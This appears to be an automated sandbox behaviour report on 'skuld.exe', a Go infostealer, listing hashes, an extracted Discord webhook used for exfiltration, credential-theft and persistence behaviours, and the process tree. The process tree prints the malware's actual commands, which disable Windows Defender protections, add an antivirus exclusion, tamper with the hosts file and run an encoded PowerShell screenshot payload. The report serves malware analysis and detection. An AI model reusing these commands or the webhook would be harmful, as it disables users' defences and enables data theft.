Analysis
-
max time kernel
25s -
max time network
20s -
platform
windows11-21h2_x64 -
resource
win11-20240802-en -
resource tags
arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system -
submitted
29-08-2024 16:56
Behavioral task
behavioral1
Sample
skuld.exe
Resource
win11-20240802-en
General
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Target
skuld.exe
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Size
9.9MB
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MD5
981533db8f7a278a44d522ed85636f43
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SHA1
6d124496fca65881e44b97258bdd37d73a3ffaa1
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SHA256
a5547a4572d2acca8ce33dc9b2e1a05419370550ebcbbad7150180b633bbd3d4
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SHA512
4963db510432625ac34e7fc90a8018cfd7284940da180aaf0af07e14699a2c97d246b495f863ed79e7f16bb1563e7eb0e4298069b1f47e68733de846ae1ab3d0
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SSDEEP
98304:AEviWIjraQ4Gzv+igMgiiIHZiBI8EFICafZmyjsEHjY:AgIjraQoCgiiI5iy1k3jY
Malware Config
Extracted
skuld
https://discord.com/api/webhooks/1278759490937688074/UywOde-HC_XdyhvbIDhuctOR880XRj5ROecJB_CQFRJwRJdEQ64XUdz_LksGCTmAyt1y
Signatures
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Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
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Processes:
powershell.exepowershell.exepid process 4784 powershell.exe 316 powershell.exe -
Drops file in Drivers directory 3 IoCs
Processes:
skuld.exeattrib.exeattrib.exedescription ioc process File opened for modification C:\Windows\System32\drivers\etc\hosts skuld.exe File opened for modification C:\Windows\System32\drivers\etc\hosts attrib.exe File opened for modification C:\Windows\System32\drivers\etc\hosts attrib.exe -
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
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Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
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Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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Adds Run key to start application 2 TTPs 1 IoCs
Processes:
skuld.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2842058299-443432012-2465494467-1000\Software\Microsoft\Windows\CurrentVersion\Run\Realtek HD Audio Universal Service = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Protect\\SecurityHealthSystray.exe" skuld.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
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Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 1 ip-api.com 2 api.ipify.org 1 api.ipify.org -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
Processes:
skuld.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum skuld.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0 skuld.exe -
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
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Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
Processes:
netsh.exedescription ioc process Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe -
System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
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Detects videocard installed 1 TTPs 2 IoCs
Uses WMIC.exe to determine videocard installed.
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GoLang User-Agent 1 IoCs
Uses default user-agent string defined by GoLang HTTP packages.
Processes:
description flow ioc HTTP User-Agent header 3 Go-http-client/1.1 -
Processes:
skuld.exedescription ioc process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 5c000000010000000400000000080000190000000100000010000000a823b4a20180beb460cab955c24d7e21030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c7e00000001000000080000000000042beb77d5017a000000010000000c000000300a06082b060105050703097f000000010000000c000000300a06082b060105050703091d00000001000000100000006ee7f3b060d10e90a31ba3471b999236140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b620000000100000020000000ebd41040e4bb3ec742c9e381d31ef2a41a48b6685c96e7cef3c1df6cd4331c990b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520031000000530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000068000000306606082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050508020206082b0601050507030606082b0601050507030706082b0601050507030906082b0601050507030106082b060105050703080f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d0400000001000000100000003e455215095192e1b75d379fb187298a200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0 skuld.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 skuld.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 skuld.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5c0000000100000004000000001000001900000001000000100000002fe1f70bb05d7c92335bc5e05b984da60f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f63030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e814000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e20000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 skuld.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C skuld.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 0400000001000000100000003e455215095192e1b75d379fb187298a0f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d090000000100000068000000306606082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050508020206082b0601050507030606082b0601050507030706082b0601050507030906082b0601050507030106082b06010505070308530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520031000000620000000100000020000000ebd41040e4bb3ec742c9e381d31ef2a41a48b6685c96e7cef3c1df6cd4331c99140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b1d00000001000000100000006ee7f3b060d10e90a31ba3471b9992367f000000010000000c000000300a06082b060105050703097a000000010000000c000000300a06082b060105050703097e00000001000000080000000000042beb77d501030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c190000000100000010000000a823b4a20180beb460cab955c24d7e21200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0 skuld.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
skuld.exepowershell.exepowershell.exepid process 780 skuld.exe 780 skuld.exe 780 skuld.exe 780 skuld.exe 780 skuld.exe 780 skuld.exe 780 skuld.exe 780 skuld.exe 316 powershell.exe 316 powershell.exe 780 skuld.exe 780 skuld.exe 780 skuld.exe 780 skuld.exe 780 skuld.exe 780 skuld.exe 780 skuld.exe 780 skuld.exe 780 skuld.exe 780 skuld.exe 780 skuld.exe 780 skuld.exe 780 skuld.exe 4784 powershell.exe 780 skuld.exe 780 skuld.exe 4784 powershell.exe 780 skuld.exe 780 skuld.exe 780 skuld.exe 780 skuld.exe 780 skuld.exe 780 skuld.exe 780 skuld.exe 780 skuld.exe 780 skuld.exe 780 skuld.exe 780 skuld.exe 780 skuld.exe 780 skuld.exe 780 skuld.exe 780 skuld.exe 780 skuld.exe 780 skuld.exe 780 skuld.exe 780 skuld.exe 780 skuld.exe 780 skuld.exe 780 skuld.exe 780 skuld.exe 780 skuld.exe 780 skuld.exe 780 skuld.exe 780 skuld.exe 780 skuld.exe 780 skuld.exe 780 skuld.exe 780 skuld.exe 780 skuld.exe 780 skuld.exe 780 skuld.exe 780 skuld.exe 780 skuld.exe 780 skuld.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
skuld.exewmic.exewmic.exedescription pid process Token: SeDebugPrivilege 780 skuld.exe Token: SeIncreaseQuotaPrivilege 2768 wmic.exe Token: SeSecurityPrivilege 2768 wmic.exe Token: SeTakeOwnershipPrivilege 2768 wmic.exe Token: SeLoadDriverPrivilege 2768 wmic.exe Token: SeSystemProfilePrivilege 2768 wmic.exe Token: SeSystemtimePrivilege 2768 wmic.exe Token: SeProfSingleProcessPrivilege 2768 wmic.exe Token: SeIncBasePriorityPrivilege 2768 wmic.exe Token: SeCreatePagefilePrivilege 2768 wmic.exe Token: SeBackupPrivilege 2768 wmic.exe Token: SeRestorePrivilege 2768 wmic.exe Token: SeShutdownPrivilege 2768 wmic.exe Token: SeDebugPrivilege 2768 wmic.exe Token: SeSystemEnvironmentPrivilege 2768 wmic.exe Token: SeRemoteShutdownPrivilege 2768 wmic.exe Token: SeUndockPrivilege 2768 wmic.exe Token: SeManageVolumePrivilege 2768 wmic.exe Token: 33 2768 wmic.exe Token: 34 2768 wmic.exe Token: 35 2768 wmic.exe Token: 36 2768 wmic.exe Token: SeIncreaseQuotaPrivilege 2768 wmic.exe Token: SeSecurityPrivilege 2768 wmic.exe Token: SeTakeOwnershipPrivilege 2768 wmic.exe Token: SeLoadDriverPrivilege 2768 wmic.exe Token: SeSystemProfilePrivilege 2768 wmic.exe Token: SeSystemtimePrivilege 2768 wmic.exe Token: SeProfSingleProcessPrivilege 2768 wmic.exe Token: SeIncBasePriorityPrivilege 2768 wmic.exe Token: SeCreatePagefilePrivilege 2768 wmic.exe Token: SeBackupPrivilege 2768 wmic.exe Token: SeRestorePrivilege 2768 wmic.exe Token: SeShutdownPrivilege 2768 wmic.exe Token: SeDebugPrivilege 2768 wmic.exe Token: SeSystemEnvironmentPrivilege 2768 wmic.exe Token: SeRemoteShutdownPrivilege 2768 wmic.exe Token: SeUndockPrivilege 2768 wmic.exe Token: SeManageVolumePrivilege 2768 wmic.exe Token: 33 2768 wmic.exe Token: 34 2768 wmic.exe Token: 35 2768 wmic.exe Token: 36 2768 wmic.exe Token: SeIncreaseQuotaPrivilege 2032 wmic.exe Token: SeSecurityPrivilege 2032 wmic.exe Token: SeTakeOwnershipPrivilege 2032 wmic.exe Token: SeLoadDriverPrivilege 2032 wmic.exe Token: SeSystemProfilePrivilege 2032 wmic.exe Token: SeSystemtimePrivilege 2032 wmic.exe Token: SeProfSingleProcessPrivilege 2032 wmic.exe Token: SeIncBasePriorityPrivilege 2032 wmic.exe Token: SeCreatePagefilePrivilege 2032 wmic.exe Token: SeBackupPrivilege 2032 wmic.exe Token: SeRestorePrivilege 2032 wmic.exe Token: SeShutdownPrivilege 2032 wmic.exe Token: SeDebugPrivilege 2032 wmic.exe Token: SeSystemEnvironmentPrivilege 2032 wmic.exe Token: SeRemoteShutdownPrivilege 2032 wmic.exe Token: SeUndockPrivilege 2032 wmic.exe Token: SeManageVolumePrivilege 2032 wmic.exe Token: 33 2032 wmic.exe Token: 34 2032 wmic.exe Token: 35 2032 wmic.exe Token: 36 2032 wmic.exe -
Suspicious use of WriteProcessMemory 32 IoCs
Processes:
skuld.exepowershell.execsc.exedescription pid process target process PID 780 wrote to memory of 2660 780 skuld.exe attrib.exe PID 780 wrote to memory of 2660 780 skuld.exe attrib.exe PID 780 wrote to memory of 2400 780 skuld.exe attrib.exe PID 780 wrote to memory of 2400 780 skuld.exe attrib.exe PID 780 wrote to memory of 2768 780 skuld.exe wmic.exe PID 780 wrote to memory of 2768 780 skuld.exe wmic.exe PID 780 wrote to memory of 2032 780 skuld.exe wmic.exe PID 780 wrote to memory of 2032 780 skuld.exe wmic.exe PID 780 wrote to memory of 1864 780 skuld.exe wmic.exe PID 780 wrote to memory of 1864 780 skuld.exe wmic.exe PID 780 wrote to memory of 316 780 skuld.exe powershell.exe PID 780 wrote to memory of 316 780 skuld.exe powershell.exe PID 780 wrote to memory of 4776 780 skuld.exe wmic.exe PID 780 wrote to memory of 4776 780 skuld.exe wmic.exe PID 780 wrote to memory of 3144 780 skuld.exe wmic.exe PID 780 wrote to memory of 3144 780 skuld.exe wmic.exe PID 780 wrote to memory of 4784 780 skuld.exe powershell.exe PID 780 wrote to memory of 4784 780 skuld.exe powershell.exe PID 780 wrote to memory of 824 780 skuld.exe wmic.exe PID 780 wrote to memory of 824 780 skuld.exe wmic.exe PID 780 wrote to memory of 2828 780 skuld.exe attrib.exe PID 780 wrote to memory of 2828 780 skuld.exe attrib.exe PID 780 wrote to memory of 5004 780 skuld.exe attrib.exe PID 780 wrote to memory of 5004 780 skuld.exe attrib.exe PID 780 wrote to memory of 2416 780 skuld.exe netsh.exe PID 780 wrote to memory of 2416 780 skuld.exe netsh.exe PID 780 wrote to memory of 1220 780 skuld.exe powershell.exe PID 780 wrote to memory of 1220 780 skuld.exe powershell.exe PID 1220 wrote to memory of 1040 1220 powershell.exe csc.exe PID 1220 wrote to memory of 1040 1220 powershell.exe csc.exe PID 1040 wrote to memory of 4136 1040 csc.exe cvtres.exe PID 1040 wrote to memory of 4136 1040 csc.exe cvtres.exe -
Views/modifies file attributes 1 TTPs 4 IoCs
Processes:
attrib.exeattrib.exeattrib.exeattrib.exepid process 2660 attrib.exe 2400 attrib.exe 2828 attrib.exe 5004 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\skuld.exe"C:\Users\Admin\AppData\Local\Temp\skuld.exe"1⤵
- Drops file in Drivers directory
- Adds Run key to start application
- Maps connected drives based on registry
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:780 -
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Local\Temp\skuld.exe2⤵
- Views/modifies file attributes
PID:2660
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C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe2⤵
- Views/modifies file attributes
PID:2400
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C:\Windows\System32\Wbem\wmic.exewmic csproduct get UUID2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2768
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C:\Windows\System32\Wbem\wmic.exewmic path win32_VideoController get name2⤵
- Detects videocard installed
- Suspicious use of AdjustPrivilegeToken
PID:2032
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C:\Windows\System32\Wbem\wmic.exewmic os get Caption2⤵PID:1864
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\skuld.exe2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:316
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C:\Windows\System32\Wbem\wmic.exewmic cpu get Name2⤵PID:4776
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C:\Windows\System32\Wbem\wmic.exewmic path win32_VideoController get name2⤵
- Detects videocard installed
PID:3144
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4784
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C:\Windows\System32\Wbem\wmic.exewmic csproduct get UUID2⤵PID:824
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C:\Windows\system32\attrib.exeattrib -r C:\Windows\System32\drivers\etc\hosts2⤵
- Drops file in Drivers directory
- Views/modifies file attributes
PID:2828
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C:\Windows\system32\netsh.exenetsh wlan show profiles2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Network Configuration Discovery: Wi-Fi Discovery
PID:2416
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C:\Windows\system32\attrib.exeattrib +r C:\Windows\System32\drivers\etc\hosts2⤵
- Drops file in Drivers directory
- Views/modifies file attributes
PID:5004
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEA